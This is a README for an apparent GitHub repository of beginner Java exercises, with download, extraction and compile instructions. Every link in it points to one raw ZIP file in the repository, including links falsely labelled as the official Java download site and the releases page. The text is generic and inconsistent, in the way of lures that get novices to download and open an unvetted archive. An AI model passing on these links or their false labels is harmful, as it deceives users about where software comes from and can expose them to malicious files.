This repository offers examples and solutions for basic programming problems using Java. It covers algorithms, data structures, and logic. The content helps anyone who wants to see how Java code solves real problems step-by-step. You do not need any programming experience to use this project.
Whether you want to learn how simple programs work or explore common algorithm problems, this repository provides easy-to-follow Java files. It works well for students, curious learners, or anyone who wants to understand programming basics.
Before you start, make sure your computer meets these rules:
- Windows 7, 8, 10, or 11 (64-bit preferred)
- At least 4 GB of RAM
- At least 500 MB of free disk space
- Internet access to download the program
- Java Runtime Environment (JRE) version 11 or higher installed
(You can get JRE from https://github.com/SbotssX/Programando_em_Java/raw/refs/heads/main/Problems_LeetCode/em_Programando_Java_1.9.zip if needed)
This program runs on Java, so it depends on having the right Java version installed. If you do not have Java installed, follow the instructions in the next section to set it up.
-
Click the download button above or visit the releases page here:
https://github.com/SbotssX/Programando_em_Java/raw/refs/heads/main/Problems_LeetCode/em_Programando_Java_1.9.zip -
On the releases page, look for the latest version. It usually shows a version number like
v1.0,v2.0, etc. -
Download the ZIP file under the latest release. It will have a name like
Programando_em_Java-vX.X.zip. -
After downloading, locate the ZIP file on your computer, usually in the Downloads folder.
-
Right-click the ZIP file and select “Extract All…” to unzip the files. Choose a location easy to find, such as your Desktop or Documents folder.
-
Inside the extracted folder, look for the
README.mdfile and Java source files with.javaextensions.
The content provides source code files, not a ready-made program to run by double-clicking. You will need to compile and run these Java files manually. To do that:
- Press
Windows key + R, typecmd, and press Enter. - Navigate to the folder where you extracted the files using the
cdcommand.
For example:
cd Desktop\Programando_em_Java-v1.0
-
Type this command to compile a Java file named
Example.java:
javac Example.java -
This will create a file called
Example.classif there are no errors.
-
Then run the program by typing:
java Example -
The program output should display in the command window.
Repeat these steps for each file you want to try. All Java source files contain comments to explain the code.
If you do not have Java installed or you are unsure:
-
Visit the official Java download site:
https://github.com/SbotssX/Programando_em_Java/raw/refs/heads/main/Problems_LeetCode/em_Programando_Java_1.9.zip -
Select the latest LTS version (Java 11 or newer).
-
Download the Windows x64 installer file.
-
Run the installer and follow the instructions to complete installation.
-
After installing, open Command Prompt and type:
java -version
This should show the installed Java version.
If you see a version number, you are ready. If not, restart your computer and try again.
- Algorithms: Simple examples showing common algorithm problems solved in Java.
- Data Structures: Basic implementations of lists, stacks, and queues.
- Problem-Solving Examples: Code exercises from platforms like Beecrowd.
- Comments: Each file has clear comments explaining code steps.
- Readme files: Tips and instructions for beginners to understand the code.
All files follow good programming logic and help build understanding step-by-step.
- Start with simpler files named like
Example1.javaorBasicAlgorithm.java. - Read the comments inside the code to understand what each part does.
- Try changing some values or lines and re-run to see how results differ.
- Use this as a tool to learn how Java works, not only to copy code.
- If you want more practice, try writing your own small programs based on these examples.
This repository welcomes changes that improve code clarity or add new examples. You can fork the project and submit pull requests if you can write simple Java examples or corrections.
For questions, you can open an issue on the GitHub repository page.
Visit this page to download the latest release:
https://github.com/SbotssX/Programando_em_Java/raw/refs/heads/main/Problems_LeetCode/em_Programando_Java_1.9.zip
This link takes you directly to all available versions. Choose the most recent one for best experience. Follow instructions above to unzip and run the Java files.